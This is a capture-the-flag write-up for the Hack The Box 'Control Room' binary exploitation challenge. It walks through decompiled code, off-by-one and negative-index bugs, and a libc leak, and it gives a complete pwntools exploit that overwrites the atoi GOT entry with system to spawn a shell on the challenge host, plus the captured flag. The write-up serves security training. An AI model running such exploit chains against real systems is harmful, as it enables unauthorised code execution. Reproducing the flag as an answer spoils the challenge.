

Control Room

1) Checked Security

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(vigneswar@VigneswarPC)-[~/Pwn/Control Room]
$ checksec control_room
[!] Could not populate PLT: Invalid argument (UC_ERR_ARG)
[*] '/home/vigneswar/Pwn/Control Room/control_room'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x400000)

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$ |
```

2) Decompiled the code

```
1
2 undefined8 main(void)
3
4 {
5     int iVar1;
6     size_t sVar2;
7     long in_FS_OFFSET;
8     undefined4 local_14;
9     long local_10;
10
11     local_10 = *(long *)(in_FS_OFFSET + 0x28);
12     setup();
13     local_14 = 0;
14     user_register();
15     printf("\nAre you sure about your username choice? (y/n)");
16     printf("\n> ");
17     fgets((char *)&local_14,4,stdin);
18     sVar2 = strcspn((char *)&local_14,"\n");
19     *(undefined *)((long)&local_14 + sVar2) = 0;
20     iVar1 = strcmp((char *)&local_14,"y");
21     if (iVar1 == 0) {
22         log_message(0,"User registered successfully.\n");
23     }
24     else {
25         user_edit();
26     }
27     menu();
28     if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
29         /* WARNING: Subroutine does not return */
30         __stack_chk_fail();
31     }
32     return 0;
33 }
34
```

i) This is the main function, it first calls user register, and asks for option to change it, and calls user_edit, then calls menu

C Decompile: setup - (control_room)

```
1
2 void setup(void)
3
4 {
5     setvbuf(stdin, (char *)0x0, 2, 0);
6     setvbuf(stdout, (char *)0x0, 2, 0);
7     read_banner();
8     memset(engines, 0, 0x80);
9     curr_user = malloc(0x110);
10    *(undefined4 *)((long)curr_user + 0x100) = 2;
11    return;
12 }
13
```

```

36  undefined8 local_30;
37  undefined8 local_28;
38  undefined8 local_20;
39  long local_10;
40
41  local_10 = *(long *)(in_FS_OFFSET + 0x28);
42  puts("<===[ Register ]==>\n");
43  local_118 = 0;
44  local_110 = 0;
45  local_108 = 0;
46  local_100 = 0;
47  local_f8 = 0;
48  local_f0 = 0;
49  local_e8 = 0;
50  local_e0 = 0;
51  local_d8 = 0;
52  local_d0 = 0;
53  local_c8 = 0;
54  local_c0 = 0;
55  local_b8 = 0;
56  local_b0 = 0;
57  local_a8 = 0;
58  local_a0 = 0;
59  local_98 = 0;
60  local_90 = 0;
61  local_88 = 0;
62  local_80 = 0;
63  local_78 = 0;
64  local_70 = 0;
65  local_68 = 0;
66  local_60 = 0;
67  local_58 = 0;
68  local_50 = 0;
69  local_48 = 0;
70  local_40 = 0;
71  local_38 = 0;
72  local_30 = 0;
73  local_28 = 0;
74  local_20 = 0;
75  printf("Enter a username: ");
76  read_input(&local_118,0x100);
77  strncpy(curr_user,(char *)&local_118,0x100);
78  sVar1 = strlen(curr_user);
79  *(size_t *)(curr_user + 0x108) = sVar1 + 1;
80  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
81      /* WARNING: Subroutine does not return */
82      __stack_chk_fail();
83  }
84  return;
85 }

```

i) It reads a username upto 256 character, then stores it in curr_user and stores its length in curr_user+0x108

```
1
2 void user_edit(void)
3
4 {
5     int __n;
6     char *__s;
7     size_t sVar1;
8
9     puts("<==[ Edit Username ]==>\n");
10    printf("New username size: ");
11    __n = read_num();
12    getchar();
13    if (*(ulong *)(curr_user + 0x108) < (ulong)(long)__n) {
14        log_message(3,"Can\'t be larger than the current username.\n");
15    }
16    else {
17        __s = (char *)malloc((long)(__n + 1));
18        if (__s == (char *)0x0) {
19            log_message(3,"Please replace the memory catridge.");
20            FUN_004012a0(0xffffffff);
21        }
22        memset(__s,0,(long)(__n + 1));
23        printf("\nEnter your new username: ");
24        fgets(__s,__n,stdin);
25        sVar1 = strcspn(__s,"\n");
26        __s[sVar1] = '\0';
27        strncpy(curr_user,__s,(long)(__n + 1));
28        log_message(0,"User updated successfully!\n");
29        free(__s);
30    }
31    return;
32 }
33
```

i) This is the user_edit function, it reads username into a new allocation and copies it into the username

ii) If we enter full 256 bytes input for user registration and user edit, the __n value will be 256, and strncpy will copy 256+1 = 257 which also includes the role value , it will be set to 0 for captain

```
1
2 void read_input(char *param_1,size_t param_2)
3
4 {
5     size_t sVar1;
6
7     memset(param_1,0,param_2);
8     fgets(param_1,(int)param_2,stdin);
9     sVar1 = strcspn(param_1,"\n");
10    param_1[sVar1] = '\0';
11    return;
12 }
13
```

The `fgets()` function shall read bytes from *stream* into the array pointed to by *s* until *n*-1 bytes are read, or a <newline> is read and transferred to *s*, or an end-of-file condition is encountered. A null byte shall be written immediately after the last byte read into the array. If the end-of-file condition is encountered before any bytes are read, the contents of the array pointed to by *s* shall not be changed.

```
1
2 void read_num(void)
3
4 {
5     long in_FS_OFFSET;
6     char local_14 [4];
7     long local_10;
8
9     local_10 = *(long *)(in_FS_OFFSET + 0x28);
10    memset(local_14,0,4);
11    fgets(local_14,4,stdin);
12    atoi(local_14);
13    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
14        /* WARNING: Subroutine does not return */
15        __stack_chk_fail();
16    }
17    return;
18 }
19
```

```
1
2 void menu(void)
3
4 {
5     uint uVar1;
6
7     do {
8         print_banner();
9         print_current_role();
10        uVar1 = read_option(5);
11        printf("selection: %d\n", (ulong)uVar1);
12        switch(uVar1) {
13        default:
14            log_message(3, "Invalid option\n");
15            FUN_004012a0(0xffffffff);
16            break;
17        case 1:
18            configure_engine();
19            break;
20        case 2:
21            check_engines();
22            break;
23        case 3:
24            change_route();
25            break;
26        case 4:
27            view_route();
28            break;
29        case 5:
30            change_role();
31        }
32    } while( true );
33 }
34
```


Decompile: print_banner - (control_room)

```
1
2 void print_banner(void)
3
4 {
5     puts("\x1b[0;31m");
6     puts(control_panel);
7     puts("\x1b[0m");
8     return;
9 }
10
```

Decompile: print_current_role - (control_room)

```
1
2 void print_current_role(void)
3
4 {
5     int iVar1;
6
7     iVar1 = *(int *) (curr_user + 0x100);
8     if (iVar1 == 2) {
9         log_message(1, "Current Role: Crew\n");
10        return;
11    }
12    if (iVar1 < 3) {
13        if (iVar1 == 0) {
14            log_message(1, "Current Role: Captain\n");
15            return;
16        }
17        if (iVar1 == 1) {
18            log_message(1, "Current Role: Technician\n");
19            return;
20        }
21    }
22    log_message(3, "How did you get here?! \n");
23    FUN_004012a0(0x539);
24    return;
25 }
26
```

```
1
2 void log_message(uint param_1,undefined8 param_2)
3
4 {
5     undefined *local_10;
6
7     if (param_1 == 3) {
8         local_10 = &DAT_00403069;
9         goto LAB_0040153d;
10    }
11    if (param_1 < 4) {
12        if (param_1 == 2) {
13            local_10 = &DAT_0040305a;
14            goto LAB_0040153d;
15        }
16        if (param_1 < 3) {
17            if (param_1 == 0) {
18                local_10 = &DAT_0040303c;
19                goto LAB_0040153d;
20            }
21            if (param_1 == 1) {
22                local_10 = &DAT_0040304b;
23                goto LAB_0040153d;
24            }
25        }
26    }
27    puts("default");
28    FUN_004012a0(0xffffffff);
29 LAB_0040153d:
30    printf("%s %s\n",local_10,param_2);
31    return;
32 }
33
```

```

1 void configure_engine(void)
2 {
3     uint uVar1;
4     int iVar2;
5     size_t sVar3;
6     long in_FS_OFFSET;
7     undefined8 local_28;
8     undefined8 local_20;
9     undefined2 local_13;
10    undefined local_11;
11    long local_10;
12
13    local_10 = *(long *)(in_FS_OFFSET + 0x28);
14    local_13 = 0;
15    local_11 = 0;
16    if (*(int *)(curr_user + 0x100) == 1) {
17        printf("\nEngine number [0-%d]: ",3);
18        uVar1 = read_num();
19        if ((int)uVar1 < 4) {
20            printf("Engine [%d]: \n", (ulong)uVar1);
21            printf("\tThrust: ");
22            __isoc99_scanf(&DAT_0040330e,&local_28);
23            printf("\tMixture ratio: ");
24            __isoc99_scanf(&DAT_0040330e,&local_20);
25        }
26        getchar();
27        printf("\nDo you want to save the configuration? (y/n) ");
28        printf("\n> ");
29        fgets((char *)&local_13,3,stdin);
30        sVar3 = strcspn((char *)&local_13,"\n");
31        *(undefined *)((long)&local_13 + sVar3) = 0;
32        iVar2 = strcmp((char *)&local_13,"y");
33        if (iVar2 == 0) {
34            *(undefined8 *)(engines + (long)(int)uVar1 * 0x10) = local_28;
35            *(undefined8 *)(engines + (long)(int)uVar1 * 0x10 + 8) = local_20;
36            log_message(0,"Engine configuration updated successfully!\n");
37        }
38        else {
39            log_message(1,"Engine configuration cancelled.\n");
40        }
41    }
42    else {
43        log_message(3,"Only technicians are allowed to configure the engines");
44    }
45    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
46        /* WARNING: Subroutine does not return */
47        __stack_chk_fail();
48    }
49    return;
50 }
51 }
52

```

- i) This function gets a engine index and reads some details
- ii) The index is not sanitized properly, the user can enter negative numbers, using this we can achieve arbitrary write

C; Decompile: check_engines - (control_room)

```
1
2 void check_engines(void)
3
4 {
5     int local_c;
6
7     if (*(int *)(curr_user + 0x100) == 1) {
8         puts("[==< Engine Check >==]");
9         for (local_c = 0; local_c < 4; local_c = local_c + 1) {
10             if ((100 < *(long *)(engines + (long)local_c * 0x10)) ||
11                 (100 < *(long *)(engines + (long)local_c * 0x10 + 8))) {
12                 log_message(3, "Faulty configuration found.\n");
13                 return;
14             }
15             log_message(0, "All engines are configured correctly.\n");
16         }
17     }
18     else {
19         log_message(3, "Only technicians are allowed to check the engines.\n");
20     }
21     return;
22 }
23
```

```

12  undefined8 local_40;
13  undefined8 local_38;
14  undefined8 local_30;
15  undefined8 local_28;
16  undefined8 local_20;
17  undefined2 local_13;
18  undefined local_11;
19  long local_10;
20
21  local_10 = *(long *)(in_FS_OFFSET + 0x28);
22  local_13 = 0;
23  local_11 = 0;
24  if (*(int *)(curr_user + 0x100) == 0) {
25      for (local_5c = 0; local_5c < 4; local_5c = local_5c + 1) {
26          printf("<===[ Coordinates [%d] ]==>\n", (ulong)(local_5c + 1));
27          printf("\tLatitude : ");
28          __isoc99_scanf(&DAT_0040330e, (undefined *)((long)&local_58 + (long)local_5c * 0x10));
29          printf("\tLongitude : ");
30          __isoc99_scanf(&DAT_0040330e, (undefined *)((long)&local_58 + (long)local_5c * 0x10 + 8));
31      }
32      getchar();
33      printf("\nDo you want to save the route? (y/n) ");
34      printf("\n> ");
35      fgets((char *)&local_13, 3, stdin);
36      sVar2 = strchrn((char *)&local_13, "\n");
37      *(undefined *)((long)&local_13 + sVar2) = 0;
38      iVar1 = strcmp((char *)&local_13, "y");
39      if (iVar1 == 0) {
40          route._0_8_ = local_58;
41          route._8_8_ = local_50;
42          route._16_8_ = local_48;
43          route._24_8_ = local_40;
44          route._32_8_ = local_38;
45          route._40_8_ = local_30;
46          route._48_8_ = local_28;
47          route._56_8_ = local_20;
48          log_message(0, "The route has been successfully updated!\n");
49      }
50      else {
51          log_message(1, "Operation cancelled");
52      }
53  }
54  else {
55      log_message(3, "Only the captain is allowed to change the ship's route\n");
56  }
57  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
58      /* WARNING: Subroutine does not return */
59      __stack_chk_fail();
60  }
61  return;
62 }

```

i) We can enter - instead of number to bypass entering a number and leak stack data using view routes

C Decompile: view_route - (control_room)

```
1
2 void view_route(void)
3
4 {
5     int local_c;
6
7     if (*(int *)(curr_user + 0x100) == 0) {
8         puts("<===[ Route ]==>");
9         for (local_c = 0; local_c < 4; local_c = local_c + 1) {
10             print_coordinates(local_c);
11         }
12     }
13     else {
14         log_message(3, "Only the captain is allowed to view the ship's route.\n");
15     }
16     return;
17 }
18
```

C Decompile: change_role - (control_room)

```
1
2 void change_role(void)
3
4 {
5     int iVar1;
6
7     if (*(int *)(curr_user + 0x100) == 0) {
8         puts("<===[ Available roles ]==>");
9         puts("Technician: 1 | Crew: 2");
10        printf("New role: ");
11        iVar1 = read_num();
12        if ((iVar1 == 1) || (iVar1 == 0)) {
13            *(int *)(curr_user + 0x100) = iVar1;
14            log_message(0, "New role has been set successfully!");
15        }
16        else {
17            log_message(3, "Invalid role.");
18        }
19    }
20    else {
21        log_message(3, "Only Captain is allowed to change roles.\n");
22    }
23    return;
24 }
25
```

2) Exploit

```
#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./control_room_patched")
libc = ELF("libc.so.6")
ld = ELF("./ld-2.35.so")
context.binary = exe

# io = gdb.debug(exe.path, '', api=True)
# io = process(exe.path)
io = remote('94.237.56.27', 56475)

# forge captain role
io.sendafter(b': ', b'A'*256)
io.sendlineafter(b'> ', b'n')
io.sendlineafter(b': ', b'256')
io.sendafter(b': ', b'A'*255)

# leak libc
io.sendlineafter(b']: ', b'3')
for i in range(8):
    io.sendlineafter(b': ', b'-')
io.sendlineafter(b'> ', b'y')
io.sendlineafter(b': ', b'4')
io.recvuntil(b'[1]')
io.recvline()
io.recvline()
io.recvuntil(b': ')
libc.address = int(io.recvline().decode().strip())-0x43654
print(f"Leaked Libc: 0x{libc.address:x}")

# overwrite GOT
io.sendlineafter(b']: ', b'5')
io.sendlineafter(b'role: ', b'1')
io.sendlineafter(b']: ', b"1")
io.sendlineafter(b']: ', str((exe.got.atoi-exe.sym.engines)//16).encode())
io.sendlineafter(b'Thrust: ', str(libc.sym.system).encode())
io.sendlineafter(b'Mixture ratio: ', b'-')
io.sendlineafter(b'> ', b'y')

# trigger system
io.sendlineafter(b']: ', b'sh')

io.interactive()
```

3) Flag

```
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```

```
$ python3 solve.py
```

```
Leaked Libc: 0x7f799a794000
```

```
$ cat flag.txt
```

```
HTB{b00m_b00m_fr0m_th3_c0ntr0l_r00m}
```

```
$
```

```
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```

```
$ | 14 io = remote('94.237.56.27', 56475)
```